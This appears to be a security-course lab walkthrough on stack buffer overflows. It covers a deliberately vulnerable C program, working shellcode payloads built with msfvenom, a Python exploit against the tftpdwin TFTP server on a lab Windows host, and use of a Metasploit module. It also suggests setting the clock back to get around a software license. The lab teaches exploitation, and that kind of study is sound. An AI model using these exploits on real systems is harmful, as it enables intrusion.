Install 32-bit libraries:
root@bah-pod1-kali:~/labs/overflows# dpkg --add-architecture i386
root@bah-pod1-kali:~/labs/overflows# apt update
...
root@bah-pod1-kali:~/labs/overflows# apt install g++-multilib libc6-dev-i386
...
Disable ASLR on your current shell
# cat /proc/self/maps | grep stack
7ffd1af83000-7ffd1afa4000 rw-p 00000000 00:00 0 [stack]
# cat /proc/self/maps | grep stack
7ffedb900000-7ffedb921000 rw-p 00000000 00:00 0 [stack]
# setarch i386 -R $SHELL
# cat /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
# cat /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
vuln1.c:
#include
#include
int main(int argc, char **argv) {
char mybuffer[512];
strcpy(mybuffer,argv[1]);
printf("You entered: %s\n", mybuffer);
}
Build ./vuln1
gcc -m32 -ggdb -fno-stack-protector -z execstack -o vuln1 vuln1.c
Run gdb and debug /root/labs/overflows/vuln1. Make sure no environment variables are set.
env - gdb /root/labs/overflows/vuln1
(gdb) show env
LINES=29
COLUMNS=122
(gdb) unset env LINES
(gdb) unset env COLUMNS
Use pattern_create.rb to create a pattern. It takes one argument: a size. Make sure this size is larger than mybuffer.
(gdb) shell ./pattern_create.rb -l 600 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
In gdb, run vuln1 with the pattern created in task 2 as an argument. The program should segfault if the pattern is long enough.
(gdb) run $(./pattern_create.rb -l 600) Starting program: /home/seccon/labs/overflows/vuln1 $(./pattern_create.rb -l 600) You entered: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 Program received signal SIGSEGV, Segmentation fault. 0x35724134 in ?? ()
Find the value in the register eip, then pass the value as an argument to ‘pattern_offset.rb’.
(gdb) info registers eip
eip 0x35724134 0x35724134
(gdb) p $eip
$1 = (void (*)()) 0x35724134
(gdb) shell ./pattern_offset.rb 35724134
[*] Exact match at offset 524
You should now have the exact length (in bytes) from the start of mybuffer (somewhere between EBP and ESP) and the saved return address (Saved EIP).
Create a pattern of the length found in task 4 concatenated with the hex 0xCAFEF00D, and pass it as an argument to vuln1. This will place the hex 0xCAFEF00D into the saved return address. Verify by running vuln1, having it segfault, and printing the value of the register eip.
The architecture is [little endian](http://en.wikipedia.org/wiki/Endianness).
(gdb) run $(python -c 'print "z"*524+"\x0d\xf0\xfe\xca"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/seccon/labs/overflows/vuln1 $(python -c 'print "z"*524+"\x0d\xf0\xfe\xca"') You entered: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz... Program received signal SIGSEGV, Segmentation fault. 0xcafef00d in ?? () (gdb) p $eip $2 = (void (*)()) 0xcafef00d
Discover at what instruction the value of 0xCAFEF00D is loaded into the register EIP.
Use gdb’s find command to locate the start of mybuffer.
# 0x7a is the hex value for "z" (the value filling mybuffer) # You should search for the values you put at the beginning of your buffer (gdb) find /w1 $esp, +600, (int) 0x7a7a7a7a7a 0xbffffdb3 1 pattern found.
Replace 0xCAFEF00D from task 5 with the address found in task 6. This will cause the eip register to point to our buffer. Execution will now occur on the stack. When running, expect a SIGILL as a good sign, but a segfault could also occur.
(gdb) run $(python -c 'print "z"*524+"\xb3\xfd\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/seccon/labs/07-overflows/vuln1 $(python -c 'print "z"*524+"\xb3\xfd\xff\xbf"') You entered: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz... Program received signal SIGILL, Illegal instruction. 0xbfffffc1 in ?? ()
Now that we have execution, we are ready for shellcode. Construct a NOP sled (a sequence of 0x90) followed by a single 0xCC. 0xCC will stand in as our shell code for now. If you encounter a SIGTRAP then you were successful.
(gdb) run $(python -c 'print "\x90"*523+"\xcc"+"\xb3\xfd\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/seccon/labs/07-overflows/vuln1 $(python -c 'print "\x90"*523+"\xcc"+"\xb3\xfd\xff\xbf"') You entered:... Program received signal SIGTRAP, Trace/breakpoint trap. 0xbfffffbf in ?? ()
Generate shellcode that will execute /bin/sh using msfvenom.
msfvenom arguments payload: linux/x86/exec options: CMD=/bin/sh encoder: x86/shikata_ga_nai avoid bytes: \x00\x0a\x0d
$ msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f python No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 70 (iteration=0) buf = "" buf += "\xbe\xcb\x7b\x4c\x0d\xdb\xdb\xd9\x74\x24\xf4\x5f\x2b" buf += "\xc9\xb1\x0b\x83\xef\xfc\x31\x77\x11\x03\x77\x11\xe2" buf += "\x3e\x11\x47\x55\x59\xb4\x31\x0d\x74\x5a\x37\x2a\xee" buf += "\xb3\x34\xdd\xee\xa3\x95\x7f\x87\x5d\x63\x9c\x05\x4a" buf += "\x7b\x63\xa9\x8a\x53\x01\xc0\xe4\x84\xb6\x7a\xf9\x8d" buf += "\x6b\xf3\x18\xfc\x0c" # Cleaning it up $ msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f python | grep 'buf +=' | sed -e 's/^.*"\(.*\)".*$/\1/' | tr -d '\n' No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 70 (iteration=0) \xbd\xf1\x0a\xff\xdd\xda\xcc\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x0b\x31\x6e\x15\x83\xc6\x04\x03\x6e\x11\xe2\x04\x60\xf4\x85\x7f\x27\x6c\x5e\x52\xab\xf9\x79\xc4\x04\x89\xed\x14\x33\x42\x8c\x7d\xad\x15\xb3\x2f\xd9\x2e\x34\xcf\x19\x00\x56\xa6\x77\x71\xe5\x50\x88\xda\x5a\x29\x69\x29\xdc
Repeat task 8 with the shellcode generated in task 9.
(gdb) run "$(python -c 'print "\x90"*(524-70)+"\xdb\xdc\xba\x0b\x45\x71\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9" +"\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xfe\x2f" +"\x7a\x77\x99\xe2\x1a\xef\xb4\x61\x6a\x08\xae\x4a\x1f\xbf" +"\x2e\xfd\xf0\x5d\x47\x93\x87\x41\xc5\x83\x90\x85\xe9\x53" +"\x8e\xe7\x80\x3d\xff\x94\x3a\xc2\xa8\x09\x33\x23\x9b\x2e"+"\xb3\xfd\xff\xbf"')" Starting program: /home/seccon/overflows/vuln1 "$(python -c 'print "\x90"*(524-70)+"\xdb\xdc\xba\x0b\x45\x71\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9" +"\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xfe\x2f" +"\x7a\x77\x99\xe2\x1a\xef\xb4\x61\x6a\x08\xae\x4a\x1f\xbf" +"\x2e\xfd\xf0\x5d\x47\x93\x87\x41\xc5\x83\x90\x85\xe9\x53" +"\x8e\xe7\x80\x3d\xff\x94\x3a\xc2\xa8\x09\x33\x23\x9b\x2e"+"\xb3\xfd\xff\xbf"')" You entered:... process 5878 is executing new program: /bin/dash $
gdb is wonderful, but wouldn’t it be nice to get the shellcode running outside the debugger?
Values on the stack can affect the location of mybuffer. Environment variables and even the length of our program invocation need to be taken into consideration. We started gdb without environment variables and a fully qualified path /home/seccon/labs/overflows/vuln1; so, it would be a good idea to do the same outside of gdb. Even if the stack addresses are off by a little bit, the prepended NOP sled will give us some wiggle room. You may want to increase the return address if the program is segfaulting.
env - /home/seccon/labs/overflows/vuln1seccon@(none):~/overflows$ env - /home/seccon/overflows/vuln1 "$(python -c 'print "\x90"*(524-70)+"\xdb\xdc\xba\x0b\x45\x71\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9" +"\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xfe\x2f" +"\x7a\x77\x99\xe2\x1a\xef\xb4\x61\x6a\x08\xae\x4a\x1f\xbf" +"\x2e\xfd\xf0\x5d\x47\x93\x87\x41\xc5\x83\x90\x85\xe9\x53" +"\x8e\xe7\x80\x3d\xff\x94\x3a\xc2\xa8\x09\x33\x23\x9b\x2e"+"\xb3\xfd\xff\xbf"')" You entered:... Segmentation fault # Added 16 to Return Address "\xb3\xfd\xff\xbf" -> "\xc3\xfd\xff\xbf" seccon@(none):~/overflows$ env - /home/seccon/overflows/vuln1 "$(python -c 'print "\x90"*(524-70)+"\xdb\xdc\xba\x0b\x45\x71\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9" +"\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xfe\x2f" +"\x7a\x77\x99\xe2\x1a\xef\xb4\x61\x6a\x08\xae\x4a\x1f\xbf" +"\x2e\xfd\xf0\x5d\x47\x93\x87\x41\xc5\x83\x90\x85\xe9\x53" +"\x8e\xe7\x80\x3d\xff\x94\x3a\xc2\xa8\x09\x33\x23\x9b\x2e"+"\xc3\xfd\xff\xbf"')" You entered:... Segmentation fault # Added 16 more to Return Address "\xc3\xfd\xff\xbf" -> "\xd3\xfd\xff\xbf" seccon@(none):~/overflows$ env - /home/seccon/overflows/vuln1 "$(python -c 'print "\x90"*(524-70)+"\xdb\xdc\xba\x0b\x45\x71\x2f\xd9\x74\x24\xf4\x5d\x2b\xc9" +"\xb1\x0b\x83\xc5\x04\x31\x55\x16\x03\x55\x16\xe2\xfe\x2f" +"\x7a\x77\x99\xe2\x1a\xef\xb4\x61\x6a\x08\xae\x4a\x1f\xbf" +"\x2e\xfd\xf0\x5d\x47\x93\x87\x41\xc5\x83\x90\x85\xe9\x53" +"\x8e\xe7\x80\x3d\xff\x94\x3a\xc2\xa8\x09\x33\x23\x9b\x2e"+"\xd3\xfd\xff\xbf"')" You entered:... $
Login to windows. To get around a license key for the service, set the clock back to 1 September 2014. Run the tftpdwin installer on the desktop. Don’t run it on startup, and don’t run it after it’s installed.
Run tftpdwin in Immunity Debugger. Press F9 to run, or Debug->Run.
Use pattern_create.rb to create a pattern of 500 bytes.
./pattern_create.rb 500
Construct a message using the TCP header format in the table below. Use the pattern from task 3 as the filename and a packet type of write.
TFTP Header
------------- ---------- -------- -------------- --------
2 Bytes String 1 byte string 1 Byte
Packet Type Filename 0x00 \"netascii\" 0x00
------------- ---------- -------- -------------- --------
Packet Types
---------- -----------
**Type** **Value**
Read 0x01
Write 0x02
Data 0x03
ACK 0x04
Error 0x05
---------- -----------
~/labs/07-overflows$ export PATTERN=$(./pattern_create.rb 500) seccon@seccon-kali2:~/labs/07-overflows$ python Python 2.7.3 (default, Mar 14 2014, 11:57:14) [GCC 4.7.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> pattern = os.environ['PATTERN'] >>> dgram="\x00\x02"+pattern+"\x00netascii\x00"
Place the message in a UDP datagram addressed to the windows machine on port 69. This should crash tftpdwin due to an invalid read.
>>> import socket >>> socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(dgram,("windows",69)) 512
Use the address the invalid read occurred on and pattern_offset.rb to find the offset.
./pattern_offset.rb 41366a41 [*] Exact match at offset 288
Find the offset needed for execution in the methodical manner.
Read the cheat from the bonus above, and find a sequence (Ctrl-S) of commands matching: POP R32, RET. Have execution jump to this address.
Generate some shell code with msfpayload and msfencode. Something simple like executing calc. Remember it has to fit in our buffer.
msfvenom -p windows/exec CMD=calc -e x86/shikata_ga_nai -b '\x00' -f python
Create your exploit datagram, and send it
---------- ----------- ---------------- NOP sled shellcode return address ---------- ----------- ----------------
#export PATTERN=$(./pattern_create.rb 500) echo '#import os #pattern = os.environ["PATTERN"] shellcode = "\xdb\xde\xd9\x74\x24\xf4\xba\x09\x92\x3f\x69\x5e\x33\xc9" + "\xb1\x32\x31\x56\x17\x83\xee\xfc\x03\x5f\x81\xdd\x9c\xa3" + "\x4d\xa8\x5f\x5b\x8e\xcb\xd6\xbe\xbf\xd9\x8d\xcb\x92\xed" + "\xc6\x99\x1e\x85\x8b\x09\x94\xeb\x03\x3e\x1d\x41\x72\x71" + "\x9e\x67\xba\xdd\x5c\xe9\x46\x1f\xb1\xc9\x77\xd0\xc4\x08" + "\xbf\x0c\x26\x58\x68\x5b\x95\x4d\x1d\x19\x26\x6f\xf1\x16" + "\x16\x17\x74\xe8\xe3\xad\x77\x38\x5b\xb9\x30\xa0\xd7\xe5" + "\xe0\xd1\x34\xf6\xdd\x98\x31\xcd\x96\x1b\x90\x1f\x56\x2a" + "\xdc\xcc\x69\x83\xd1\x0d\xad\x23\x0a\x78\xc5\x50\xb7\x7b" + "\x1e\x2b\x63\x09\x83\x8b\xe0\xa9\x67\x2a\x24\x2f\xe3\x20" + "\x81\x3b\xab\x24\x14\xef\xc7\x50\x9d\x0e\x08\xd1\xe5\x34" + "\x8c\xba\xbe\x55\x95\x66\x10\x69\xc5\xce\xcd\xcf\x8d\xfc" + "\x1a\x69\xcc\x6a\xdc\xfb\x6a\xd3\xde\x03\x75\x73\xb7\x32" + "\xfe\x1c\xc0\xca\xd5\x59\x3e\x81\x74\xcb\xd7\x4c\xed\x4e" + "\xba\x6e\xdb\x8c\xc3\xec\xee\x6c\x30\xec\x9a\x69\x7c\xaa" + "\x77\x03\xed\x5f\x78\xb0\x0e\x4a\x1b\x57\x9d\x16\xdc" #dgram="\x00\x02"+pattern+"\x00netascii\x00" #dgram="\x00\x02"+"A"*288+"\x0C\xB0\xCE\xFA"+"\x00netascii\x00" address="\x18\xc6\x42" nopsled="\x90"*(284-len(shellcode)) dgram="\x00\x02"+nopsled+shellcode+address+"\x00netascii\x00" import socket socket.socket(socket.AF_INET, socket.SOCK_DGRAM).sendto(dgram,("windows",69))' > py_exploit python py_exploit
Exploit tftpdwin outside the debugger.
Why do all the work of Exercise 2? Someone has already done it for us and made a metasploit module.
Use metasploit’s exploit/windows/tftp/tftpdwin_long_filename module to gain a shell on the windows box.
seccon@seccon-kali2:~/labs/overflows$ msfconsole , , / ((__---,,,---__)) (_) O O (_)_________ \ _ / | o_o \ M S F | \ _____ | * ||| WW||| ||| ||| Save your shells from AV! Upgrade to advanced AV evasion using dynamic exe templates with Metasploit Pro -- type 'go_pro' to launch it now. =[ metasploit v4.9.2-2014042301 [core:4.9 api:1.0] ] + -- --=[ 1292 exploits - 694 auxiliary - 206 post ] + -- --=[ 335 payloads - 35 encoders - 8 nops ] msf > use exploit/windows/tftp/tftpdwin_long_filename msf exploit(tftpdwin_long_filename) > set RHOST windows RHOST => windows msf exploit(tftpdwin_long_filename) > set PAYLOAD windows/exec PAYLOAD => windows/exec msf exploit(tftpdwin_long_filename) > set CMD calc.exe CMD => calc.exe msf exploit(tftpdwin_long_filename) > exploit